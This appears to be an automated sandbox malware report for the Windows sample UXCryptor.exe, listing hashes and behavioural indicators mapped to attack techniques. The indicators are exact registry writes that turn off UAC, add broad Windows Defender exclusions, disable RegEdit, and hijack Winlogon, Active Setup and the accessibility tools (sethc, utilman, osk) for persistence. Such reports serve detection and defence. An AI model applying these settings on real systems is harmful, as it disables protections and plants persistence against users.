d9c0dd495f3bdf5bc2853d72e11fb47dcb4fd5285b003dd41eb17486ba5cf25e

Analysis

user interaction
yes
max time kernel
4s
max time network
66s
platform
windows10-ltsc_2021_x64
resource
win10ltsc2021-20260513-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20260513-enlocale:en-usos:windows10-ltsc_2021-x64systemwindows
submitted
20/06/2026, 23:31

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
UXCryptor.exe
Size 144KB
Sample260620-3hpddsbs6x
SHA256 d9c0dd495f3bdf5bc2853d72e11fb47dcb4fd5285b003dd41eb17486ba5cf25e
MD5 b50f6138566cb288bc96cc5961a4df0e
SHA1 df74e49e4eb50164eafa6620bcdec00dfad9c26f
SHA512 ea1875a6583a683b675518986292c169f9e26b293d33870c728598e64a0d38d65911bb4799e427844d01cdf004b2abbea3a3b73b4d8beb2a345cfd72bbec48f5
SSDEEP 3072:Ojb4ctJAYabTf+eb4uEYtDMWcGaKaWR2ymmF2Rfa2shqY:OHt6tbIYtDMHGau2uka2gq
TLSH
T1FCE38D4073E58B27D2BD2AB60876F10201FBB8565533DA1D3E8C62DD1BF3B4487A1B66
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution persistence trojan

Malware Config

Signatures

Modifies WinLogon for persistence 2 TTPs 6 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\UXCryptor.exe\""	UXCryptor.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\UXCryptor.exe\""	UXCryptor.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\UXCryptor.exe\""	UXCryptor.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\UXCryptor.exe\""	UXCryptor.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\UXCryptor.exe\""	UXCryptor.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\UXCryptor.exe\""	UXCryptor.exe

UAC bypass 3 TTPs 18 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\enablelua = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\promptonsecuredesktop = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\consentpromptbehavioradmin = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\promptonsecuredesktop = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\consentpromptbehavioradmin = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\enablelua = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\promptonsecuredesktop = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\enablelua = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\enablelua = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\promptonsecuredesktop = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\consentpromptbehavioradmin = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\consentpromptbehavioradmin = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\consentpromptbehavioradmin = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\promptonsecuredesktop = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\consentpromptbehavioradmin = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\enablelua = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\enablelua = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\promptonsecuredesktop = "0"	UXCryptor.exe

Windows security bypass 2 TTPs 64 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\m4a = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\drv = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\jar = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\pm = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\inf = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\E: = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\wsf = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\cfg = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\sys = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\rbw = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\docx = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\wma = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\wsdl = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\reg = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\pub = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\pot = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\vbe = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\xhtml = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\ppa = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\ico = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\webp = "0"	UXCryptor.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\asp = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\xlsx = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\odp = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\sys = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\com = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\potm = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\F: = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\xaml = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\html = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\pub = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\pptm = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\flv = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\php3 = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\dot = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\mid = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\rar = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\java = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\asp = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\docm = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\aspx = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\potx = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\eps = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\odt = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\ppsx = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\qt = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\pl = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\txt = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\hta = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\xltx = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\exe = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\cpl = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\py = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\emf = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\dotx = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\pyw = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\doc = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\ico = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\tar = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\pdf = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\pptm = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\jse = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\ps1 = "0"	UXCryptor.exe

Boot or Logon Autostart Execution: Active Setup 2 TTPs 5 IoCs

Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

persistence

Active Setup

T1547.014

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{A5D5C9B3-7B2E-4F1D-8A3E-5C9B7D2E1F4A}\ = "Windows Security Update"	UXCryptor.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{A5D5C9B3-7B2E-4F1D-8A3E-5C9B7D2E1F4A}\StubPath = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\UXCryptor.exe\""	UXCryptor.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{A5D5C9B3-7B2E-4F1D-8A3E-5C9B7D2E1F4A}	UXCryptor.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{A5D5C9B3-7B2E-4F1D-8A3E-5C9B7D2E1F4A}\ = "Windows Security Update"	UXCryptor.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{A5D5C9B3-7B2E-4F1D-8A3E-5C9B7D2E1F4A}\StubPath = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\UXCryptor.exe\""	UXCryptor.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 64 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4216	powershell.exe
9784	powershell.exe
9936	powershell.exe
644	powershell.exe
20044	powershell.exe
19528	powershell.exe
15124	powershell.exe
3636	powershell.exe
5124	powershell.exe
756	powershell.exe
14496	powershell.exe
20476	powershell.exe
20460	powershell.exe
14980	powershell.exe
2708	powershell.exe
1332	powershell.exe
9440	powershell.exe
1732	powershell.exe
688	powershell.exe
10948	powershell.exe
9180	powershell.exe
8852	powershell.exe
20452	powershell.exe
20428	powershell.exe
3316	powershell.exe
4160	powershell.exe
20268	powershell.exe
15028	powershell.exe
14724	powershell.exe
2472	powershell.exe
10024	powershell.exe
9728	powershell.exe
5400	powershell.exe
5188	powershell.exe
15052	powershell.exe
14448	powershell.exe
9768	powershell.exe
9432	powershell.exe
9364	powershell.exe
8876	powershell.exe
8820	powershell.exe
8812	powershell.exe
20680	powershell.exe
20076	powershell.exe
3688	powershell.exe
9060	powershell.exe
5472	powershell.exe
20028	powershell.exe
15036	powershell.exe
15092	powershell.exe
14964	powershell.exe
14740	powershell.exe
3108	powershell.exe
9608	powershell.exe
19568	powershell.exe
14608	powershell.exe
14472	powershell.exe
11832	powershell.exe
10232	powershell.exe
2328	powershell.exe
19728	powershell.exe
14504	powershell.exe
3240	powershell.exe
9348	powershell.exe

Disables RegEdit via registry modification 8 IoCs

defense_evasion

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4146128427-3460078792-3629963422-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4146128427-3460078792-3629963422-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "0"	UXCryptor.exe

Disables Task Manager via registry modification
defense_evasion

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 21 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\narrator.exe	UXCryptor.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\narrator.exe\Debugger = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\UXCryptor.exe\""	UXCryptor.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe\Debugger = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\UXCryptor.exe\""	UXCryptor.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SU.exe\Debugger = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\UXCryptor.exe\""	UXCryptor.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\Debugger = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\UXCryptor.exe\""	UXCryptor.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\systemsetingss.exe\Debugger = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\UXCryptor.exe\""	UXCryptor.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe\Debugger = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\UXCryptor.exe\""	UXCryptor.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\narrator.exe\Debugger = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\UXCryptor.exe\""	UXCryptor.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\Debugger = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\UXCryptor.exe\""	UXCryptor.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe	UXCryptor.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe\Debugger = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\UXCryptor.exe\""	UXCryptor.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osk.exe\Debugger = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\UXCryptor.exe\""	UXCryptor.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SU.exe	UXCryptor.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\systemsetingss.exe	UXCryptor.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osk.exe\Debugger = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\UXCryptor.exe\""	UXCryptor.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe\Debugger = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\UXCryptor.exe\""	UXCryptor.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe	UXCryptor.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osk.exe	UXCryptor.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe	UXCryptor.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SU.exe\Debugger = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\UXCryptor.exe\""	UXCryptor.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\systemsetingss.exe\Debugger = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\UXCryptor.exe\""	UXCryptor.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdate.exe	UXCryptor.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdate.exe	UXCryptor.exe

Windows security modification 2 TTPs 64 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\cur = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\qt = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\py = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\xltm = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\pub = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\mp3 = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\3gp = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\7z = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\xla = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\vbe = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\eps = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\rtf = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\ocx = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\xml = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\xll = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\dotm = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\mov = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\cab = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\cmd = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\sys = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\odb = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\ocx = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\xls = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\dotx = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\odp = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\cpl = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\tif = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\bat = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\xaml = "0"	UXCryptor.exe
